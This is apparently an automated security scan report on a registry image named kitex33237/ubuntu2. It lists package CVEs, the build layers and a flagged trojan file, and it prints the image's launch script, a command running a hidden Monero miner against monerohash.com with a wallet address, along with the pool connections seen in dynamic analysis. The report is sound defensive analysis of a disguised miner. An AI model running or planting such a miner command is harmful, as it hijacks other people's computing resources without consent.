1. Amazon Container Registry
  2. kitex33237/ubuntu2

kitex33237/ubuntu2

Region: us-east-2
Scan Summary
High vulnerabilities
2
Malicious files
1
Last scan

1 year, 10 months ago
Type of scan
Prevasio CSPM
Scan duration
51 seconds
Image Details
Image URI
kitex33237/ubuntu2
Image tags
latest
Digest
—
Created

3 years ago
Compressed size
29.69 MB
Uncompressed size
78.64 MB
OS/architecture
linux/amd64
OS distribution
ubuntu 20.04
Working directory
—
ENTRYPOINT
—
CMD
bashrun.sh
User
root
Ports
—
Volumes
—
Environment variables
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Filename File Size SHA 256 Threat Name Report
/job 5.73 MB dbc27cce9e0306a864957bd20824f9732a244612b76f0fc1ee53d1c7de6b5536 Unix.Trojan.Generic-9919438-0 VirusTotal
Overview
Critical
0
High
2
Medium
44
Low
34
Informational
0
Vulnerabilities (80)
Severity Name Package VersionFixed inDescription Package:version
High CVE-2021-33910 libsystemd0 245.4-4ubuntu3.3245.4-4ubuntu3.10systemd: uncontrolled allocation on the stack in function unit_name_path_escape leads to crash libsystemd0:245.4-4ubuntu3.3
High CVE-2021-33910 libudev1 245.4-4ubuntu3.3245.4-4ubuntu3.10systemd: uncontrolled allocation on the stack in function unit_name_path_escape leads to crash libudev1:245.4-4ubuntu3.3
Medium CVE-2020-27350 apt 2.0.2ubuntu0.12.0.2ubuntu0.2apt: integer overflows and underflows while parsing .deb packages apt:2.0.2ubuntu0.1
Medium CVE-2021-3995 bsdutils 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of FUSE filesystems belonging to users with similar uid bsdutils:2.34-0.1ubuntu9.1
Medium CVE-2021-3996 bsdutils 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of filesystems in libmount bsdutils:2.34-0.1ubuntu9.1
Medium CVE-2022-1664 dpkg 1.19.7ubuntu31.19.7ubuntu3.2Dpkg::Source::Archive in dpkg, the Debian package management system, b ... dpkg:1.19.7ubuntu3
Medium CVE-2022-1304 e2fsprogs 1.45.5-2ubuntu11.45.5-2ubuntu1.1e2fsprogs: out-of-bounds read/write via crafted filesystem e2fsprogs:1.45.5-2ubuntu1
Medium CVE-2021-3995 fdisk 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of FUSE filesystems belonging to users with similar uid fdisk:2.34-0.1ubuntu9.1
Medium CVE-2021-3996 fdisk 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of filesystems in libmount fdisk:2.34-0.1ubuntu9.1
Medium CVE-2022-1271 gzip 1.10-0ubuntu41.10-0ubuntu4.1gzip: arbitrary-file-write vulnerability gzip:1.10-0ubuntu4
Medium CVE-2020-27350 libapt-pkg6.0 2.0.2ubuntu0.12.0.2ubuntu0.2apt: integer overflows and underflows while parsing .deb packages libapt-pkg6.0:2.0.2ubuntu0.1
Medium CVE-2021-3995 libblkid1 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of FUSE filesystems belonging to users with similar uid libblkid1:2.34-0.1ubuntu9.1
Medium CVE-2021-3996 libblkid1 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of filesystems in libmount libblkid1:2.34-0.1ubuntu9.1
Medium CVE-2021-3999 libc-bin 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: Off-by-one buffer overflow/underflow in getcwd() libc-bin:2.31-0ubuntu9.1
Medium CVE-2021-3999 libc6 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: Off-by-one buffer overflow/underflow in getcwd() libc6:2.31-0ubuntu9.1
Medium CVE-2022-1304 libcom-err2 1.45.5-2ubuntu11.45.5-2ubuntu1.1e2fsprogs: out-of-bounds read/write via crafted filesystem libcom-err2:1.45.5-2ubuntu1
Medium CVE-2022-1304 libext2fs2 1.45.5-2ubuntu11.45.5-2ubuntu1.1e2fsprogs: out-of-bounds read/write via crafted filesystem libext2fs2:1.45.5-2ubuntu1
Medium CVE-2021-3995 libfdisk1 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of FUSE filesystems belonging to users with similar uid libfdisk1:2.34-0.1ubuntu9.1
Medium CVE-2021-3996 libfdisk1 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of filesystems in libmount libfdisk1:2.34-0.1ubuntu9.1
Medium CVE-2021-40528 libgcrypt20 1.8.5-5ubuntu11.8.5-5ubuntu1.1libgcrypt: ElGamal implementation allows plaintext recovery libgcrypt20:1.8.5-5ubuntu1
Medium CVE-2021-20305 libhogweed5 3.5.1+really3.5.1-23.5.1+really3.5.1-2ubuntu0.1nettle: Out of bounds memory access in signature verification libhogweed5:3.5.1+really3.5.1-2
Medium CVE-2021-3580 libhogweed5 3.5.1+really3.5.1-23.5.1+really3.5.1-2ubuntu0.2nettle: Remote crash in RSA decryption via manipulated ciphertext libhogweed5:3.5.1+really3.5.1-2
Medium CVE-2021-3520 liblz4-1 1.9.2-21.9.2-2ubuntu0.20.04.1lz4: memory corruption due to an integer overflow bug caused by memmove argument liblz4-1:1.9.2-2
Medium CVE-2022-1271 liblzma5 5.2.4-1ubuntu15.2.4-1ubuntu1.1gzip: arbitrary-file-write vulnerability liblzma5:5.2.4-1ubuntu1
Medium CVE-2021-3995 libmount1 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of FUSE filesystems belonging to users with similar uid libmount1:2.34-0.1ubuntu9.1
Medium CVE-2021-3996 libmount1 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of filesystems in libmount libmount1:2.34-0.1ubuntu9.1
Medium CVE-2021-20305 libnettle7 3.5.1+really3.5.1-23.5.1+really3.5.1-2ubuntu0.1nettle: Out of bounds memory access in signature verification libnettle7:3.5.1+really3.5.1-2
Medium CVE-2021-3580 libnettle7 3.5.1+really3.5.1-23.5.1+really3.5.1-2ubuntu0.2nettle: Remote crash in RSA decryption via manipulated ciphertext libnettle7:3.5.1+really3.5.1-2
Medium CVE-2020-29361 libp11-kit0 0.23.20-1build10.23.20-1ubuntu0.1p11-kit: integer overflow when allocating memory for arrays or attributes and object identifiers libp11-kit0:0.23.20-1build1
Medium CVE-2020-29362 libp11-kit0 0.23.20-1build10.23.20-1ubuntu0.1p11-kit: out-of-bounds read in p11_rpc_buffer_get_byte_array function in rpc-message.c libp11-kit0:0.23.20-1build1
Medium CVE-2020-29363 libp11-kit0 0.23.20-1build10.23.20-1ubuntu0.1p11-kit: out-of-bounds write in p11_rpc_buffer_get_byte_array_value function in rpc-message.c libp11-kit0:0.23.20-1build1
Medium CVE-2021-3995 libsmartcols1 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of FUSE filesystems belonging to users with similar uid libsmartcols1:2.34-0.1ubuntu9.1
Medium CVE-2021-3996 libsmartcols1 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of filesystems in libmount libsmartcols1:2.34-0.1ubuntu9.1
Medium CVE-2022-1304 libss2 1.45.5-2ubuntu11.45.5-2ubuntu1.1e2fsprogs: out-of-bounds read/write via crafted filesystem libss2:1.45.5-2ubuntu1
Medium CVE-2021-3997 libsystemd0 245.4-4ubuntu3.3245.4-4ubuntu3.15systemd: Uncontrolled recursion in systemd-tmpfiles when removing files libsystemd0:245.4-4ubuntu3.3
Medium CVE-2021-3997 libudev1 245.4-4ubuntu3.3245.4-4ubuntu3.15systemd: Uncontrolled recursion in systemd-tmpfiles when removing files libudev1:245.4-4ubuntu3.3
Medium CVE-2021-3995 libuuid1 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of FUSE filesystems belonging to users with similar uid libuuid1:2.34-0.1ubuntu9.1
Medium CVE-2021-3996 libuuid1 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of filesystems in libmount libuuid1:2.34-0.1ubuntu9.1
Medium CVE-2021-24031 libzstd1 1.4.4+dfsg-31.4.4+dfsg-3ubuntu0.1zstd: adds read permissions to files while being compressed or uncompressed libzstd1:1.4.4+dfsg-3
Medium CVE-2021-24032 libzstd1 1.4.4+dfsg-31.4.4+dfsg-3ubuntu0.1zstd: Race condition allows attacker to access world-readable destination file libzstd1:1.4.4+dfsg-3
Medium CVE-2022-1304 logsave 1.45.5-2ubuntu11.45.5-2ubuntu1.1e2fsprogs: out-of-bounds read/write via crafted filesystem logsave:1.45.5-2ubuntu1
Medium CVE-2021-3995 mount 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of FUSE filesystems belonging to users with similar uid mount:2.34-0.1ubuntu9.1
Medium CVE-2021-3996 mount 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of filesystems in libmount mount:2.34-0.1ubuntu9.1
Medium CVE-2021-3995 util-linux 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of FUSE filesystems belonging to users with similar uid util-linux:2.34-0.1ubuntu9.1
Medium CVE-2021-3996 util-linux 2.34-0.1ubuntu9.12.34-0.1ubuntu9.3util-linux: Unauthorized unmount of filesystems in libmount util-linux:2.34-0.1ubuntu9.1
Medium CVE-2018-25032 zlib1g 1:1.2.11.dfsg-2ubuntu1.21:1.2.11.dfsg-2ubuntu1.3zlib: A flaw found in zlib when compressing (not decompressing) certain inputs zlib1g:1:1.2.11.dfsg-2ubuntu1.2
Low CVE-2019-18276 bash 5.0-6ubuntu1.15.0-6ubuntu1.2bash: when effective UID is not equal to its real UID the saved UID is not dropped bash:5.0-6ubuntu1.1
Low CVE-2016-10228 libc-bin 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: iconv program can hang when invoked with the -c option libc-bin:2.31-0ubuntu9.1
Low CVE-2019-25013 libc-bin 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: buffer over-read in iconv when processing invalid multi-byte input sequences in the EUC-KR encoding libc-bin:2.31-0ubuntu9.1
Low CVE-2020-27618 libc-bin 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: iconv when processing invalid multi-byte input sequences fails to advance the input state, which could result in an infinite loop libc-bin:2.31-0ubuntu9.1
Low CVE-2020-29562 libc-bin 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: assertion failure in iconv when converting invalid UCS4 libc-bin:2.31-0ubuntu9.1
Low CVE-2020-6096 libc-bin 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: signed comparison vulnerability in the ARMv7 memcpy function libc-bin:2.31-0ubuntu9.1
Low CVE-2021-27645 libc-bin 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: Use-after-free in addgetnetgrentX function in netgroupcache.c libc-bin:2.31-0ubuntu9.1
Low CVE-2021-3326 libc-bin 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: Assertion failure in ISO-2022-JP-3 gconv module related to combining characters libc-bin:2.31-0ubuntu9.1
Low CVE-2021-35942 libc-bin 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: Arbitrary read in wordexp() libc-bin:2.31-0ubuntu9.1
Low CVE-2022-23218 libc-bin 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: Stack-based buffer overflow in svcunix_create via long pathnames libc-bin:2.31-0ubuntu9.1
Low CVE-2022-23219 libc-bin 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: Stack-based buffer overflow in sunrpc clnt_create via a long pathname libc-bin:2.31-0ubuntu9.1
Low CVE-2016-10228 libc6 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: iconv program can hang when invoked with the -c option libc6:2.31-0ubuntu9.1
Low CVE-2019-25013 libc6 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: buffer over-read in iconv when processing invalid multi-byte input sequences in the EUC-KR encoding libc6:2.31-0ubuntu9.1
Low CVE-2020-27618 libc6 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: iconv when processing invalid multi-byte input sequences fails to advance the input state, which could result in an infinite loop libc6:2.31-0ubuntu9.1
Low CVE-2020-29562 libc6 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: assertion failure in iconv when converting invalid UCS4 libc6:2.31-0ubuntu9.1
Low CVE-2020-6096 libc6 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: signed comparison vulnerability in the ARMv7 memcpy function libc6:2.31-0ubuntu9.1
Low CVE-2021-27645 libc6 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: Use-after-free in addgetnetgrentX function in netgroupcache.c libc6:2.31-0ubuntu9.1
Low CVE-2021-3326 libc6 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: Assertion failure in ISO-2022-JP-3 gconv module related to combining characters libc6:2.31-0ubuntu9.1
Low CVE-2021-35942 libc6 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: Arbitrary read in wordexp() libc6:2.31-0ubuntu9.1
Low CVE-2022-23218 libc6 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: Stack-based buffer overflow in svcunix_create via long pathnames libc6:2.31-0ubuntu9.1
Low CVE-2022-23219 libc6 2.31-0ubuntu9.12.31-0ubuntu9.7glibc: Stack-based buffer overflow in sunrpc clnt_create via a long pathname libc6:2.31-0ubuntu9.1
Low CVE-2021-33560 libgcrypt20 1.8.5-5ubuntu11.8.5-5ubuntu1.1libgcrypt: mishandles ElGamal encryption because it lacks exponent blinding to address a side-channel attack against mpi_powm libgcrypt20:1.8.5-5ubuntu1
Low CVE-2021-20231 libgnutls30 3.6.13-2ubuntu1.33.6.13-2ubuntu1.6gnutls: Use after free in client key_share extension libgnutls30:3.6.13-2ubuntu1.3
Low CVE-2021-20232 libgnutls30 3.6.13-2ubuntu1.33.6.13-2ubuntu1.6gnutls: Use after free in client_send_params in lib/ext/pre_shared_key.c libgnutls30:3.6.13-2ubuntu1.3
Low CVE-2019-20838 libpcre3 2:8.39-12build12:8.39-12ubuntu0.1pcre: Buffer over-read in JIT when UTF is disabled and \X or \R has fixed quantifier greater than 1 libpcre3:2:8.39-12build1
Low CVE-2020-14155 libpcre3 2:8.39-12build12:8.39-12ubuntu0.1pcre: Integer overflow when parsing callout numeric arguments libpcre3:2:8.39-12build1
Low CVE-2021-36084 libsepol1 3.0-13.0-1ubuntu0.1libsepol: use-after-free in __cil_verify_classperms() libsepol1:3.0-1
Low CVE-2021-36085 libsepol1 3.0-13.0-1ubuntu0.1libsepol: use-after-free in __cil_verify_classperms() libsepol1:3.0-1
Low CVE-2021-36086 libsepol1 3.0-13.0-1ubuntu0.1libsepol: use-after-free in cil_reset_classpermission() libsepol1:3.0-1
Low CVE-2021-36087 libsepol1 3.0-13.0-1ubuntu0.1libsepol: heap-based buffer overflow in ebitmap_match_any() libsepol1:3.0-1
Low CVE-2020-13529 libsystemd0 245.4-4ubuntu3.3245.4-4ubuntu3.10systemd: DHCP FORCERENEW authentication not implemented can cause a system running the DHCP client to have its network reconfigured libsystemd0:245.4-4ubuntu3.3
Low CVE-2020-13529 libudev1 245.4-4ubuntu3.3245.4-4ubuntu3.10systemd: DHCP FORCERENEW authentication not implemented can cause a system running the DHCP client to have its network reconfigured libudev1:245.4-4ubuntu3.3
Low CVE-2019-9923 tar 1.30+dfsg-71.30+dfsg-7ubuntu0.20.04.1tar: null-pointer dereference in pax_decode_header in sparse.c tar:1.30+dfsg-7
Low CVE-2021-20193 tar 1.30+dfsg-71.30+dfsg-7ubuntu0.20.04.2tar: Memory leak in read_header() in list.c tar:1.30+dfsg-7

Command

ADD file:4f15c4475fbafb3fe335e415e3ea1ac416c34af911fcdfe273c5759438aa8eb4 in /
Vulnerable packages, installed in this layer 3 years ago
libsystemd0 245.4-4ubuntu3.3 libudev1 245.4-4ubuntu3.3 apt 2.0.2ubuntu0.1 bsdutils 2.34-0.1ubuntu9.1 dpkg 1.19.7ubuntu3 e2fsprogs 1.45.5-2ubuntu1 fdisk 2.34-0.1ubuntu9.1 gzip 1.10-0ubuntu4 libapt-pkg6.0 2.0.2ubuntu0.1 libblkid1 2.34-0.1ubuntu9.1 libc-bin 2.31-0ubuntu9.1 libc6 2.31-0ubuntu9.1 libcom-err2 1.45.5-2ubuntu1 libext2fs2 1.45.5-2ubuntu1 libfdisk1 2.34-0.1ubuntu9.1 libgcrypt20 1.8.5-5ubuntu1 libhogweed5 3.5.1+really3.5.1-2 liblz4-1 1.9.2-2 liblzma5 5.2.4-1ubuntu1 libmount1 2.34-0.1ubuntu9.1

Command

RUN set -xe &&
    echo '#!/bin/sh' > /usr/sbin/policy-rc.d &&
    echo 'exit 101' >> /usr/sbin/policy-rc.d &&
    chmod +x /usr/sbin/policy-rc.d &&
    dpkg-divert --local --rename --add /sbin/initctl &&
    cp -a /usr/sbin/policy-rc.d /sbin/initctl &&
    sed -i 's/^exit.*/exit 0/' /sbin/initctl &&
    echo 'force-unsafe-io' > /etc/dpkg/dpkg.cfg.d/docker-apt-speedup &&
    echo 'DPkg::Post-Invoke { "rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true"; };' > /etc/apt/apt.conf.d/docker-clean &&
    echo 'APT::Update::Post-Invoke { "rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true"; };' >> /etc/apt/apt.conf.d/docker-clean &&
    echo 'Dir::Cache::pkgcache ""; Dir::Cache::srcpkgcache "";' >> /etc/apt/apt.conf.d/docker-clean &&
    echo 'Acquire::Languages "none";' > /etc/apt/apt.conf.d/docker-no-languages &&
    echo 'Acquire::GzipIndexes "true"; Acquire::CompressionTypes::Order:: "gz";' > /etc/apt/apt.conf.d/docker-gzip-indexes &&
    echo 'Apt::AutoRemove::SuggestsImportant "false";' > /etc/apt/apt.conf.d/docker-autoremove-suggests

Command

RUN [ -z "$(apt-get indextargets)" ]

Command

RUN mkdir -p /run/systemd &&
    echo 'docker' > /run/systemd/container

Command

CMD ["/bin/bash"]

Command

USER root

Command

ADD file:3b4624372ebe28dbc941a16b69f5711350d60be36015af1c055ddf2f0ac217ec in run.sh

Command

RUN chmod +x run.sh

Command

ADD file:0f753382dceaf0fdf03e380dce80a1dc8cbbb8bc3273648064dda2c946b0b187 in job

Command

CMD ["bash" "run.sh"]
Default executable script of the image: run.sh

./job -o monerohash.com:9999 -u 47xS7CWWZ8c7xdxBcuiqA7KLK8kRFcaLFPViKA9w3eHVe2WcKj8iaBEADzZYXGqE9sCC71cbu64qrZhZZkafzFn2VPA9xs9 -k --tls
Dynamic Analysis Results
The following graph outlines the most important system events generated by the container:
The container made the following DNS requests:
RequestResponse
AAAA → monerohash.com AAAA → 2604:180:2:1405::7a64
A → monerohash.com A → 107.191.99.95
A → 107.191.99.221
The container attempts to connect to the following remote hosts:
IP address Domain Location Coordinates ASN organization
107.191.99.221 monerohash.com New York, United States 40.7597, -73.981 RAMNODE
107.191.99.95 monerohash.com New York, United States 40.7597, -73.981 RAMNODE
The container produces the following text output:
user@host: ~